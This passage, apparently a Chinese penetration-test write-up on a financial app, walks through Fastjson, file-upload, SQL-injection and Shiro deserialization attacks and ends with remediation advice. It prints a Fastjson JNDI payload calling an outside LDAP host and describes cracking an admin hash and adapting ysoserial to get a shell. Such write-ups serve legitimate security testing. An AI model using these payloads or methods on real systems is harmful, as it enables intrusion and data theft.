金融类 App 渗透测试实战：从 Weblogic 到 Shiro 反序列化

该 Payload 未能触发预期效果。随后，我们调整策略，尝试了针对旧版本特性的 Payload，其中涉及 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory：

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://dnslog"}}

此次尝试成功触发了 DNSLog 回调，证实了远程命令执行漏洞的存在。不同版本的 Fastjson 对反序列化类的白名单机制不同，导致 Payload 的兼容性差异。

4. 任意文件上传漏洞分析

4.1 接口探测

继续分析第一个站点的源代码，重点关注文件上传模块。发现存在一个上传接口 /file/upload.do，且后端代码中未对上传文件的后缀名、MIME 类型进行严格校验。

4.2 利用过程

构造包含恶意脚本的文件（如 .jsp 或 .jspx）进行上传请求。虽然服务器返回了上传成功的状态码，但在查看文件系统时发现，文件并未被放置在 Web 可访问的根目录下，而是被保存到了临时目录 /temp 中。这意味着虽然存在上传漏洞，但由于存储位置不可直接访问，无法直接通过 URL 访问 Webshell，需要结合其他手段（如日志包含、本地文件读取）来进一步利用。

5. 后台管理系统弱口令

5.1 数据库连接

转向第二个站点，通过 WebLogic 后台查询部署上下文，发现了一个独立的登录入口。为了绕过前端认证，我们尝试连接后端数据库。根据配置文件中的信息，成功建立了数据库连接。

5.2 密码解密

数据库中大部分敏感数据经过加密处理，直接读取无意义。但在 Oracle 安装目录下，意外发现了一些遗留的 SQL 脚本文件。这些文件中包含了测试用的明文数据。通过对 admin 用户的 MD5 哈希值进行离线破解，最终还原出原始密码为 admin123。这表明开发人员在生产环境中仍保留了弱口令习惯，且未对测试数据进行彻底清理。

6. SQL 注入漏洞挖掘

6.1 输入点测试

进入后台管理系统后，注意到搜索框功能。出于职业习惯，我们在输入框中输入单引号 ' 进行测试。系统返回了数据库错误信息，表明输入未被过滤，存在 SQL 注入风险。

6.2 数据提取

确认注入点后，使用自动化扫描工具配合手动构造 Payload 进行验证。通过 UNION SELECT 语句，成功获取了数据库结构信息及敏感数据。此类漏洞通常源于开发者直接将用户输入拼接到 SQL 语句中，未使用预编译语句（PreparedStatement）。

7. Shiro 反序列化命令执行

7.1 框架识别

在第二个站点的 lib 目录中，发现了 Apache Shiro 安全框架的依赖包。Shiro 也是一个低版本的实现，且使用了默认的加密密钥（Key）。通常情况下，Shiro 默认 Key 是公开的，可以直接生成 Cookie 进行身份伪造。

7.2 利用链分析

尝试使用通用的 Ysoserial 工具生成利用链，但发现一直无法成功反弹 Shell。经过深入分析源码，发现项目中引用的 commons-beanutils 版本为 1.8.3。而 Ysoserial 中常用的 CommonsBeanutils1 利用链依赖于 commons-beanutils 1.9.2 及以上版本。版本不匹配导致了 Gadget Chain 失效。

7.3 修复与利用

为解决版本冲突问题，我们修改了 Ysoserial 源码，将 commons-beanutils 的版本降级为 1.8.3 并重新打包。再次生成 Payload 后，成功实现了远程命令执行，获取了服务器 Shell。这提醒我们在利用反序列化漏洞时，必须精确匹配目标环境的依赖版本。

8. 总结与建议

本次渗透测试过程中，虽然遇到了一些技术挑战，如 Fastjson 版本差异和 Shiro 依赖版本不匹配，但最终通过细致的分析和环境适配成功复现了多个高危漏洞。主要发现的问题包括中间件弱口令、反序列化漏洞、文件上传限制缺失以及 SQL 注入等。

安全建议：

1. 强化认证机制：立即修改所有弱口令，强制要求复杂密码策略，并开启多因素认证。
2. 组件升级：将 Fastjson、Shiro、WebLogic 等核心组件升级至最新安全版本，移除不必要的调试接口。
3. 输入验证：对所有用户输入进行严格的白名单校验，使用预编译语句防止 SQL 注入。
4. 文件上传控制：实施严格的文件类型、大小及命名规范检查，避免将上传文件置于 Web 根目录。
5. 配置清理：定期审计服务器配置，删除测试用 SQL 文件和临时脚本，关闭不必要的端口和服务。

通过本次实战，再次印证了'木桶效应'在网络安全中的重要性，任何一个环节的疏忽都可能导致整体防线的崩溃。

9. 测试工具与环境

本次测试主要使用了 Burp Suite 进行流量拦截与重放，JDK 自带工具进行基础检测，以及 Ysoserial 进行反序列化 Payload 生成。环境方面，测试机安装了 Kali Linux 系统，确保各类安全工具的可用性。

10. 风险评估与等级划分

根据 CVSS 评分标准，WebLogic 弱口令与 Shiro 反序列化属于高危漏洞，可直接导致服务器失陷；SQL 注入与文件上传属于中高危漏洞，视具体场景而定。建议优先修复高危项。